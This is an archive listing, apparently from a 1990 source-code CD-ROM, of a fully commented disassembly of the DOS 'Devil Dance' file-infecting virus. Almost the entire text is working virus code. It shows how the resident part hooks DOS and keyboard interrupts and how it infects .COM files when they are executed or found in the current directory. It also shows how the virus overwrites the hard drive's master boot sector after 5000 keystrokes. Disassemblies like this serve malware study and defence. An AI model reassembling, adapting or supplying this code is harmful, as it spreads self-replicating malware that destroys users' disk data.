home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / DEVIL.ASM < prev    next >
Assembly Source File  |  1990-12-30  |  22KB  |  626 lines

  1. ; virus Devil Dance
  2. ;
  3. ; disassembled by Marek A. Filipiak October 31, 1990
  4. ;
  5.  
  6. 0100 E9090B        JMP     0C0C
  7.  
  8. ; ...
  9. ; victim code
  10. ; ...
  11.  
  12. ;========================================
  13. ;          Virus entry point
  14. ;========================================
  15.  
  16. ; find offset of virus code in memory
  17.  
  18. 0C0C 8B360101      MOV     SI,[0101]    ; destination of first jump
  19. 0C10 81C60301      ADD     SI,0103      ; PSP + length of jump instruction
  20.  
  21. ; restore victim starting code
  22.  
  23. 0C14 56            PUSH    SI           ; store virus offset in memory
  24. 0C15 B90300        MOV     CX,0003      ; restore oryginal first 3 bytes
  25. 0C18 81C6A703      ADD     SI,03A7      ; address of 3 bytes
  26. 0C1C BF0001        MOV     DI,0100      ; destination
  27. 0C1F F3            REPZ
  28. 0C20 A4            MOVSB                ; move
  29. 0C21 5E            POP     SI           ; restore virus base address
  30.  
  31. 0C22 E81300        CALL    0C38         ; check presence of resident part
  32. 0C25 7306          JAE     0C2D         ; return to aplication
  33.  
  34. 0C27 E86503        CALL    0F8F         ; infect one file in current directory
  35. 0C2A E82A00        CALL    0C57         ; instal resident part
  36.  
  37. ; return to aplication
  38.  
  39. 0C2D B80001        MOV     AX,0100      ; return address
  40. 0C30 50            PUSH    AX
  41. 0C31 8CC8          MOV     AX,CS
  42. 0C33 8ED8          MOV     DS,AX
  43. 0C35 8EC0          MOV     ES,AX
  44. 0C37 C3            RET                  ; jump to aplication
  45.  
  46. ;---------------------------
  47. ; is resident part active?
  48.  
  49. 0C38 06            PUSH    ES
  50. 0C39 B82135        MOV     AX,3521      ; get INT 21h vector
  51. 0C3C CD21          INT     21
  52.  
  53. 0C3E 26            ES:
  54. 0C3F 807FFD44      CMP     BYTE PTR [BX-03],44 ; 'D'
  55. 0C43 750F          JNZ     0C54         ; no, exit with carry and NZ
  56.  
  57. 0C45 26            ES:
  58. 0C46 807FFE72      CMP     BYTE PTR [BX-02],72 ; 'r'
  59. 0C4A 7508          JNZ     0C54         ; no, exit with carry and NZ
  60.  
  61. 0C4C 26            ES:
  62. 0C4D 807FFF6B      CMP     BYTE PTR [BX-01],6B ; 'k'
  63. 0C51 07            POP     ES
  64. 0C52 F8            CLC                  ; exit with no carry and Z or NZ
  65. 0C53 C3            RET
  66.  
  67. 0C54 07            POP     ES
  68. 0C55 F9            STC
  69. 0C56 C3            RET
  70.  
  71. ;----------------------
  72. ; instal resident part
  73.  
  74. 0C57 B8004A        MOV     AX,4A00      ; change size of allocated memory
  75. 0C5A BB0010        MOV     BX,1000      ; to 64 Kb (size in paragraphs)
  76. 0C5D 0E            PUSH    CS
  77. 0C5E 1F            POP     DS
  78. 0C5F CD21          INT     21
  79.  
  80. 0C61 B80048        MOV     AX,4800      ; allocate memory
  81. 0C64 BB4C00        MOV     BX,004C      ; requested size (1216 bytes)
  82. 0C67 CD21          INT     21
  83.  
  84. 0C69 FC            CLD
  85. 0C6A 8EC0          MOV     ES,AX        ; segment of allocated block
  86. 0C6C 56            PUSH    SI           ; store SI
  87. 0C6D 8BDE          MOV     BX,SI        ; virus base
  88. 0C6F BF0301        MOV     DI,0103      ; destination
  89. 0C72 B9AD03        MOV     CX,03AD      ; virus size (941)
  90. 0C75 F3            REPZ
  91. 0C76 A4            MOVSB                ; move to new place
  92.  
  93. ; first 103 bytes of allocated block serve for virus working area
  94.  
  95. 0C77 26            ES:
  96. 0C78 C70600000301  MOV     WORD PTR [0000],0103  ; virus base in moved code
  97.  
  98. 0C7E 5E            POP     SI           ; restore SI (virus base)
  99. 0C7F 1E            PUSH    DS           ; store current DS
  100. 0C80 06            PUSH    ES           ; store virus ES
  101. 0C81 8CC0          MOV     AX,ES
  102. 0C83 48            DEC     AX           ; segment of MCB
  103. 0C84 8EC0          MOV     ES,AX
  104. 0C86 26            ES:
  105. 0C87 C70601000600  MOV     WORD PTR [0001],0006  ; paragraph of block owner
  106.  
  107. 0C8D 07            POP     ES           ; restore virus ES
  108. 0C8E 8CC0          MOV     AX,ES        ; set DS to new virus segment
  109. 0C90 8ED8          MOV     DS,AX
  110. 0C92 B82135        MOV     AX,3521      ; get INT 21h
  111. 0C95 CD21          INT     21
  112.  
  113. 0C97 891E0200      MOV     [0002],BX    ; store INT 21h
  114. 0C9B 8C060400      MOV     [0004],ES
  115. 0C9F BA9B03        MOV     DX,039B      ; offset of new handler (here 0EA4h)
  116. 0CA2 B82125        MOV     AX,2521      ; set INT 21h
  117. 0CA5 CD21          INT     21
  118.  
  119. 0CA7 B80935        MOV     AX,3509      ; get INT 09h
  120. 0CAA CD21          INT     21
  121.  
  122. 0CAC 891E0600      MOV     [0006],BX    ; store it
  123. 0CB0 8C060800      MOV     [0008],ES
  124.  
  125. 0CB4 C70620000000  MOV     WORD PTR [0020],0000 ; reset Alt keystroke counter
  126. 0CBA C606150000    MOV     BYTE PTR [0015],00   ; reset flag ??
  127.  
  128. 0CBF B80925        MOV     AX,2509      ; set INT 09h (keyboard)
  129. 0CC2 BAC001        MOV     DX,01C0      ; offset of new handler (here 0CC9)
  130. 0CC5 CD21          INT     21
  131.  
  132. 0CC7 1F            POP     DS           ; restore carrier DS
  133. 0CC8 C3            RET
  134.  
  135. ;-----------------------------
  136. ; INT 09h handler (keyboard)
  137.  
  138. 0CC9 CC            INT     3            : ?? destroyed by some debugger ??
  139. 0CCA FB            STI
  140. 0CCB 50            PUSH    AX           ; store AX
  141. 0CCC 1E            PUSH    DS           ; and DS
  142. 0CCD 33C0          XOR     AX,AX        ; set DS to 0
  143. 0CCF 8ED8          MOV     DS,AX
  144. 0CD1 A01704        MOV     AL,[0417]    ; BIOS, shift status
  145. 0CD4 2408          AND     AL,08        ; extract Alt key
  146. 0CD6 3C08          CMP     AL,08        ; is active?
  147. 0CD8 7503          JNZ     0CDD         ; not presed
  148.  
  149. 0CDA E98300        JMP     0D60         ; check for Del key
  150.  
  151. 0CDD 2E            CS:
  152. 0CDE FF062000      INC     WORD PTR [0020]  ; keystroke counter
  153. 0CE2 2E            CS:
  154. 0CE3 803E150001    CMP     BYTE PTR [0015],01  ; ?? flag ??
  155. 0CE8 740B          JZ      0CF5
  156.  
  157. 0CEA 2E            CS:
  158. 0CEB 833E20000A    CMP     WORD PTR [0020],+0A ; exactly 10 keys were presed?
  159. 0CF0 7403          JZ      0CF5         ; yes
  160.  
  161. ; exit
  162.  
  163. 0CF2 EB64          JMP     0D58         ; exit to true INT 9
  164. 0CF4 90            NOP
  165.  
  166. ; exactly ten keys has been presed or flag [0015] has been set
  167. ; change attribute at curent cursor position
  168.  
  169. 0CF5 52            PUSH    DX
  170. 0CF6 56            PUSH    SI
  171. 0CF7 53            PUSH    BX
  172. 0CF8 06            PUSH    ES
  173. 0CF9 51            PUSH    CX
  174. 0CFA BE0301        MOV     SI,0103      ; virus base
  175. 0CFD 81C62202      ADD     SI,0222      ; encrypted part of code (here 0E2Eh)
  176. 0D01 2E            CS:
  177. 0D02 C606150001    MOV     BYTE PTR [0015],01 ; set flag
  178. 0D07 2E            CS:
  179. 0D08 8B1E2B03      MOV     BX,[032B]    ; (here 0E34h)
  180. 0D0C 2E            CS:
  181. 0D0D FF062B03      INC     WORD PTR [032B] ; increase attribute counter
  182. 0D11 81FB2B03      CMP     BX,032B
  183. 0D15 7302          JAE     0D19         ; skip counter reset
  184.  
  185. 0D17 EB0A          JMP     0D23
  186.  
  187. 0D19 2E            CS:
  188. 0D1A C7062B032503  MOV     WORD PTR [032B],0325 ; reset counter
  189. 0D20 BB2503        MOV     BX,0325      ; set BX to new value
  190.  
  191. 0D23 CD11          INT     11           ; equipment list
  192.  
  193. 0D25 2430          AND     AL,30        ; video monitor
  194. 0D27 3D3000        CMP     AX,0030      ; monochrome
  195. 0D2A 7505          JNZ     0D31         ; no
  196.  
  197. ; mistake!
  198.  
  199. 0D2C B800B8        MOV     AX,B800      ; should be B000
  200. 0D2F EB03          JMP     0D34
  201.  
  202. 0D31 B800B8        MOV     AX,B800      ; segment of video RAM
  203.  
  204. 0D34 8EC0          MOV     ES,AX        ; initialize ES (video RAM)
  205. 0D36 2E            CS:
  206. 0D37 8A07          MOV     AL,[BX]      ; number between 09 .. 0E
  207. 0D39 50            PUSH    AX
  208.  
  209. ; find screen address of current cursor position
  210.  
  211. 0D3A A15004        MOV     AX,[0450]    ; (DS = 0) get current cursor position
  212. 0D3D 86E0          XCHG    AL,AH        ; swap column, row
  213. 0D3F 8ADC          MOV     BL,AH        ; row
  214. 0D41 32E4          XOR     AH,AH        ; AX := row
  215. 0D43 32FF          XOR     BH,BH        ; BX := column
  216. 0D45 B9A000        MOV     CX,00A0      ; 160, length of one line
  217. 0D48 F7E1          MUL     CX
  218. 0D4A D1E3          SHL     BX,1         ; mulitply by 2
  219. 0D4C 03D8          ADD     BX,AX
  220.  
  221. 0D4E 43            INC     BX           ; attribute field
  222. 0D4F 58            POP     AX           ; restore choosen attribute
  223. 0D50 26            ES:
  224. 0D51 8807          MOV     [BX],AL      ; put it on the screen
  225.  
  226. ; exit
  227.  
  228. 0D53 59            POP     CX
  229. 0D54 07            POP     ES
  230. 0D55 5B            POP     BX
  231. 0D56 5E            POP     SI
  232. 0D57 5A            POP     DX
  233.  
  234. 0D58 1F            POP     DS
  235. 0D59 58            POP     AX
  236. 0D5A FA            CLI
  237. 0D5B 2E            CS:
  238. 0D5C FF2E0600      JMP     FAR [0006]   ; true INT 9
  239.  
  240. ; Alt key is presed
  241.  
  242. 0D60 E460          IN      AL,60        ; read keyboard scan code
  243. 0D62 3C53          CMP     AL,53        ; Del?
  244. 0D64 7407          JZ      0D6D         ; yes, procede
  245.  
  246. ; exit to true INT 9
  247.  
  248. 0D66 1F            POP     DS
  249. 0D67 58            POP     AX
  250. 0D68 2E            CS:
  251. 0D69 FF2E0600      JMP     FAR [0006]
  252.  
  253. ; Alt + Del service
  254.  
  255. 0D6D CD11          INT     11           ; equipment list
  256.  
  257. ; again mistake! Decimaly 48 is 30 in hex
  258.  
  259. 0D6F 254800        AND     AX,0048      ; ??
  260. 0D72 3D4800        CMP     AX,0048      ; ??
  261. 0D75 7505          JNZ     0D7C
  262.  
  263. ; in hex 0048 meant system with 2 disketts (bit 40) and bit 8 is reserved
  264. ; (on PC, XT and Jr it and bit 4 reflect size of RAM on system board in 16 K)
  265. ; so probably AX and 48 almost always will be equol 48.
  266.  
  267. 0D77 B800B0        MOV     AX,B000      ; monochrome
  268. 0D7A EB03          JMP     0D7F
  269.  
  270. 0D7C B800B8        MOV     AX,B800      ; other
  271.  
  272. 0D7F 8EC0          MOV     ES,AX        ; initial ES to video segment
  273. 0D81 8CC8          MOV     AX,CS        ; restore DS
  274. 0D83 8ED8          MOV     DS,AX
  275. 0D85 33FF          XOR     DI,DI        ; clear screen location pointer
  276. 0D87 B407          MOV     AH,07        ; attribute
  277. 0D89 B0B1          MOV     AL,B1        ; chracter ▒ (177)
  278. 0D8B B9D007        MOV     CX,07D0      ; size of screen
  279. 0D8E F3            REPZ
  280. 0D8F AB            STOSW                ; fill screen with box character 
  281.  
  282. ; display first part of mesage: Have you ever danced ...
  283.  
  284. 0D90 BF4A06        MOV     DI,064A      ; offset of column 10, row 10
  285. 0D93 BE3103        MOV     SI,0331      ; offset of message
  286.  
  287. 0D96 AC            LODSB                ; get next character
  288. 0D97 2C80          SUB     AL,80        ; decrypt
  289. 0D99 0AC0          OR      AL,AL        ; end of string?
  290. 0D9B 740D          JZ      0DAA         ; yes
  291.  
  292. 0D9D B40F          MOV     AH,0F        ; attribute
  293. 0D9F AB            STOSW                ; put on screen 
  294. 0DA0 B900A0        MOV     CX,A000      ; constant for pause
  295.  
  296. 0DA3 050100        ADD     AX,0001      ; small pause
  297. 0DA6 E2FB          LOOP    0DA3
  298.  
  299. 0DA8 EBEC          JMP     0D96         ; disply next character
  300.  
  301. ; display next message: Pray for your disk!
  302.  
  303. 0DAA BF7008        MOV     DI,0870      ; row 13, column 40
  304. 0DAD BE7703        MOV     SI,0377
  305. 0DB0 AC            LODSB
  306.  
  307. 0DB1 2C80          SUB     AL,80
  308. 0DB3 0AC0          OR      AL,AL
  309. 0DB5 740D          JZ      0DC4
  310.  
  311. 0DB7 B40F          MOV     AH,0F
  312. 0DB9 AB            STOSW
  313.  
  314. 0DBA B900A0        MOV     CX,A000
  315.  
  316. 0DBD 050100        ADD     AX,0001
  317. 0DC0 E2FB          LOOP    0DBD
  318.  
  319. 0DC2 EBEC          JMP     0DB0
  320.  
  321. ; disply third part of message, The_Jocker...
  322.  
  323. 0DC4 BFB009        MOV     DI,09B0      ; row 15, column 40
  324. 0DC7 BE8B03        MOV     SI,038B
  325.  
  326. 0DCA AC            LODSB
  327. 0DCB 2C80          SUB     AL,80        ; decrypt
  328. 0DCD 0AC0          OR      AL,AL        ; end of string?
  329. 0DCF 740D          JZ      0DDE         ; yes
  330.  
  331. 0DD1 B40F          MOV     AH,0F        ; attribute
  332. 0DD3 AB            STOSW
  333.  
  334. 0DD4 B900A0        MOV     CX,A000      ; time constant
  335.  
  336. 0DD7 050100        ADD     AX,0001      ; small pause
  337. 0DDA E2FB          LOOP    0DD7
  338.  
  339. 0DDC EBEC          JMP     0DCA         ; get next character
  340.  
  341. ; diplay the rest: Ha Ha Ha ...
  342.  
  343. 0DDE BA1E00        MOV     DX,001E      ; starting column (15)
  344. 0DE1 B90A00        MOV     CX,000A      ; counter
  345.  
  346. 0DE4 51            PUSH    CX
  347. 0DE5 BF400B        MOV     DI,0B40      ; row 18, column 1
  348. 0DE8 52            PUSH    DX
  349. 0DE9 D1E2          SHL     DX,1         ; DX := 3C
  350. 0DEB 03FA          ADD     DI,DX        ; move coursor 30 characters right
  351. 0DED 5A            POP     DX
  352. 0DEE BE2D03        MOV     SI,032D      ; offset of 'Ha ',0
  353.  
  354. 0DF1 AC            LODSB                ; get next character
  355. 0DF2 2C80          SUB     AL,80        ; decrypt
  356. 0DF4 0AC0          OR      AL,AL        ; end of string
  357. 0DF6 740D          JZ      0E05         ; yes
  358.  
  359. 0DF8 B40F          MOV     AH,0F        ; attribute
  360. 0DFA AB            STOSW                ; display
  361.  
  362. 0DFB B900A0        MOV     CX,A000      ; time constant
  363.  
  364. 0DFE 050100        ADD     AX,0001      ; small pause
  365. 0E01 E2FB          LOOP    0DFE
  366.  
  367. 0E03 EBEC          JMP     0DF1         ; get next character
  368.  
  369. 0E05 83C203        ADD     DX,+03       ; move cursor 3 positions right
  370. 0E08 59            POP     CX           ; restore counter
  371. 0E09 E2D9          LOOP    0DE4
  372.  
  373. 0E0B B020          MOV     AL,20        ; enable hardware interrupts
  374. 0E0D E620          OUT     20,AL
  375.  
  376. 0E0F 2E            CS:
  377. 0E10 813E20008813  CMP     WORD PTR [0020],1388   ; 5000 keystrokes
  378. 0E16 7305          JAE     0E1D         ; perform destruction
  379.  
  380. 0E18 EAF0FF00F0    JMP     F000:FFF0    ; cold reset
  381.  
  382. 0E1D B80000        MOV     AX,0000      ; reset disk
  383. 0E20 CD13          INT     13
  384.  
  385. ; overwrite Master Boot Sector of first hard drive
  386.  
  387. 0E22 B80103        MOV     AX,0301      ; write one sector
  388. 0E25 33C9          XOR     CX,CX
  389. 0E27 41            INC     CX           ; track 0, sector 1
  390. 0E28 33D2          XOR     DX,DX        ; head 0
  391. 0E2A B280          MOV     DL,80        ; first hard drive
  392. 0E2C CD13          INT     13
  393.  
  394. ; after destruction computer will crush trying execute working area bytes
  395.  
  396. ;--------------
  397. ; working area
  398.  
  399. 0E2E 09 0A 0B 0C 0D 0E     ; [0325],... set of attributes to put onto screen
  400. 0E34 26 03                 ; counter, points at one out of six above bytes
  401.  
  402. ; encrypted ASCIIZ strings (to any character 80h is added)
  403.  
  404. 0E36 C8 E1 A0 80  ;  encrypted 'Ha ',0
  405.  
  406. 0E3A                                C8 E1 F6 E5 A0 F9             Have y
  407. 0E40  EF F5 A0 E5 F6 E5 F2 A0 E4 E1 EE E3 E5 E4 A0 F7   ou ever danced w
  408. 0E50  E9 F4 E8 A0 F4 E8 E5 A0 E4 E5 F6 E9 EC A0 F5 EE   ith the devil un
  409. 0E60  E4 E5 F2 A0 F4 E8 E5 A0 F7 E5 E1 EB A0 EC E9 E7   der the weak lig
  410. 0E70  E8 F4 A0 EF E6 A0 F4 E8 E5 A0 ED EF EF EE BF 80   ht of the moon?.
  411.  
  412. 0E80  D0 F2 E1 F9 A0 E6 EF F2 A0 F9 EF F5 F2 A0 E4 E9   Pray for your di
  413. 0E90  F3 EB A1 80                                       sk!.
  414.  
  415. 0E94  D4 E8 E5 DF CA EF EB E5 F2 AE AE AE 80            The_Joker....
  416.  
  417. 0EA1 44 72 6B      ; signature of virus resident part: 'Drk'
  418.  
  419. ;-----------------------------
  420. ; new INT 21h handler
  421.  
  422. 0EA4 9C            PUSHF
  423. 0EA5 3D004B        CMP     AX,4B00      ; Load and execute
  424. 0EA8 7420          JZ      0ECA
  425.  
  426. 0EAA 80FC49        CMP     AH,49        ; free allocated memory
  427. 0EAD 7403          JZ      0EB2
  428.  
  429. 0EAF EB13          JMP     0EC4         ; exit to old INT 21h
  430. 0EB1 90            NOP
  431.  
  432. ; free allocated memory service
  433.  
  434. 0EB2 50            PUSH    AX
  435. 0EB3 53            PUSH    BX
  436. 0EB4 8CC8          MOV     AX,CS        ; compare requested block with
  437. 0EB6 8CC3          MOV     BX,ES        ; block actualy ocupied by virus
  438. 0EB8 3BD8          CMP     BX,AX
  439. 0EBA 5B            POP     BX
  440. 0EBB 58            POP     AX
  441. 0EBC 7506          JNZ     0EC4         ; blocks are different, exit
  442.  
  443. 0EBE F8            CLC                  ; clear carry (no error!)
  444. 0EBF 8CC0          MOV     AX,ES        ; put own segment into AX
  445. 0EC1 CA0200        RETF    0002
  446.  
  447. ; exit to old INT 21h
  448.  
  449. 0EC4 9D            POPF
  450. 0EC5 2E            CS:
  451. 0EC6 FF2E0200      JMP     FAR [0002]
  452.  
  453. ; load and execute service
  454.  
  455. 0ECA 55            PUSH    BP
  456. 0ECB 50            PUSH    AX
  457. 0ECC 53            PUSH    BX
  458. 0ECD 51            PUSH    CX
  459. 0ECE 52            PUSH    DX
  460. 0ECF 1E            PUSH    DS
  461. 0ED0 06            PUSH    ES
  462. 0ED1 56            PUSH    SI
  463. 0ED2 57            PUSH    DI
  464.  
  465. 0ED3 FC            CLD
  466. 0ED4 8BF2          MOV     SI,DX        ; ASCIIZ file name
  467.  
  468. 0ED6 AC            LODSB                ; find end of file name
  469. 0ED7 0AC0          OR      AL,AL        ; end of string? 
  470. 0ED9 7402          JZ      0EDD         ; yes
  471.  
  472. 0EDB EBF9          JMP     0ED6         ; get next character
  473.  
  474. 0EDD 83EE04        SUB     SI,+04       ; point at first char of extension
  475. 0EE0 803C43        CMP     BYTE PTR [SI],43  ; 'C' is it COM file
  476. 0EE3 7502          JNZ     0EE7         ; maybe lower case?
  477.  
  478. 0EE5 7405          JZ      0EEC         ; infect
  479.  
  480. 0EE7 803C63        CMP     BYTE PTR [SI],63  ; 'c'
  481. 0EEA 752B          JNZ     0F17         ; exit
  482.  
  483. ; prepare infection
  484.  
  485. 0EEC B42F          MOV     AH,2F        ; get DTA
  486. 0EEE CD21          INT     21
  487.  
  488. 0EF0 06            PUSH    ES
  489. 0EF1 53            PUSH    BX
  490. 0EF2 52            PUSH    DX
  491. 0EF3 1E            PUSH    DS
  492. 0EF4 0E            PUSH    CS
  493. 0EF5 1F            POP     DS
  494. 0EF6 BA8000        MOV     DX,0080      ; offset of local DTA
  495. 0EF9 B41A          MOV     AH,1A        ; set DTA
  496. 0EFB CD21          INT     21
  497.  
  498. ; get date of loaded file into local DTA
  499.  
  500. 0EFD 1F            POP     DS
  501. 0EFE 5A            POP     DX           ; offset of file name
  502. 0EFF B44E          MOV     AH,4E        ; find first
  503. 0F01 B92300        MOV     CX,0023      ; attributes: Subdir, Hiden, Read Only
  504. 0F04 CD21          INT     21
  505.  
  506. 0F06 8CC8          MOV     AX,CS
  507. 0F08 8ED8          MOV     DS,AX
  508. 0F0A 8B360000      MOV     SI,[0000]
  509.  
  510. 0F0E E81500        CALL    0F26         ; infect file
  511.  
  512. 0F11 5A            POP     DX
  513. 0F12 1F            POP     DS
  514. 0F13 B41A          MOV     AH,1A        ; restore DTA
  515. 0F15 CD21          INT     21
  516.  
  517. 0F17 5F            POP     DI
  518. 0F18 5E            POP     SI
  519. 0F19 07            POP     ES
  520. 0F1A 1F            POP     DS
  521. 0F1B 5A            POP     DX
  522. 0F1C 59            POP     CX
  523. 0F1D 5B            POP     BX
  524. 0F1E 58            POP     AX
  525. 0F1F 5D            POP     BP
  526. 0F20 9D            POPF
  527. 0F21 2E            CS:
  528. 0F22 FF2E0200      JMP     FAR [0002]   ; exit to old INT 21h
  529.  
  530. ;-------------
  531. ; infect file
  532.  
  533. 0F26 33C9          XOR     CX,CX        ; clear all attributes
  534. 0F28 B80143        MOV     AX,4301      ; set attributes
  535. 0F2B BA9E00        MOV     DX,009E      ; fille name (in carrier DTA!)
  536. 0F2E 33C9          XOR     CX,CX        ; ?? again ??
  537. 0F30 CD21          INT     21
  538.  
  539. 0F32 B8023D        MOV     AX,3D02      ; open file for read/write
  540. 0F35 BA9E00        MOV     DX,009E      ; file name
  541. 0F38 CD21          INT     21
  542.  
  543. 0F3A 8BD8          MOV     BX,AX        ; store handle
  544. 0F3C 7301          JAE     0F3F         ; no error
  545.  
  546. 0F3E C3            RET
  547.  
  548. 0F3F B43F          MOV     AH,3F        ; read file
  549. 0F41 B90300        MOV     CX,0003      ; 3 bytes
  550. 0F44 8BD6          MOV     DX,SI        ; virus base
  551. 0F46 81C2A703      ADD     DX,03A7      ; buffer for oryginal 3 bytes
  552. 0F4A CD21          INT     21
  553.  
  554. 0F4C 7305          JAE     0F53         ; no error
  555.  
  556. 0F4E B43E          MOV     AH,3E        ; close file
  557. 0F50 CD21          INT     21
  558.  
  559. 0F52 C3            RET
  560.  
  561. 0F53 B80042        MOV     AX,4200      ; move file pointer
  562. 0F56 33C9          XOR     CX,CX        ; at the beginning
  563. 0F58 8BD1          MOV     DX,CX        ; of file
  564. 0F5A CD21          INT     21
  565.  
  566. 0F5C A19A00        MOV     AX,[009A]    ; get file length
  567. 0F5F 2D0300        SUB     AX,0003      ; sub first 3 bytes
  568. 0F62 2E            CS:
  569. 0F63 8984AB03      MOV     [SI+03AB],AX ; size of block to write
  570. 0F67 8BD6          MOV     DX,SI
  571. 0F69 81C2AA03      ADD     DX,03AA
  572. 0F6D B440          MOV     AH,40        ; write to file
  573. 0F6F B90300        MOV     CX,0003      ; new first 3 bytes
  574. 0F72 CD21          INT     21
  575.  
  576. 0F74 7302          JAE     0F78         ; continue
  577.  
  578. 0F76 EBD6          JMP     0F4E         ; error, exit
  579.  
  580. 0F78 B80242        MOV     AX,4202      ; move file pointer
  581. 0F7B 33C9          XOR     CX,CX        ; at the end
  582. 0F7D 8BD1          MOV     DX,CX        ; of file
  583. 0F7F CD21          INT     21
  584.  
  585. 0F81 B440          MOV     AH,40        ; write file 
  586. 0F83 B9AD03        MOV     CX,03AD      ; number of bytes (941)
  587. 0F86 8BD6          MOV     DX,SI        ; address of virus first byte 
  588. 0F88 CD21          INT     21
  589.  
  590. 0F8A B43E          MOV     AH,3E        ; close file
  591. 0F8C CD21          INT     21
  592.  
  593. 0F8E C3            RET
  594.  
  595. ;----------------------------------------------
  596. ; find file in current directory and infect it
  597.  
  598. 0F8F B44E          MOV     AH,4E        ; find first
  599. 0F91 B92300        MOV     CX,0023      ; attributes: Archive, Hiden, Read Only
  600. 0F94 8BD6          MOV     DX,SI
  601. 0F96 81C2A103      ADD     DX,03A1      ; file name: *.COM
  602. 0F9A CD21          INT     21
  603.  
  604. 0F9C 7303          JAE     0FA1         ; infect
  605.  
  606. 0F9E EB0C          JMP     0FAC         ; RET
  607. 0FA0 90            NOP
  608.  
  609. 0FA1 E882FF        CALL    0F26         ; infect
  610.  
  611. 0FA4 B44F          MOV     AH,4F        ; find next
  612. 0FA6 CD21          INT     21
  613. 0FA8 7202          JB      0FAC         ; RET
  614.  
  615. 0FAA EBF5          JMP     0FA1         ; infect
  616.  
  617. 0FAC C3            RET
  618.  
  619.  
  620. 0FAD 2A 2E 63 6F 6D 00     ; *.COM, 0
  621. 0FB3 E9 5C 07              ; oryginal 3 bytes of carrier COM file
  622.  
  623. ; end of infected file
  624. ;----------------------
  625.  
  626.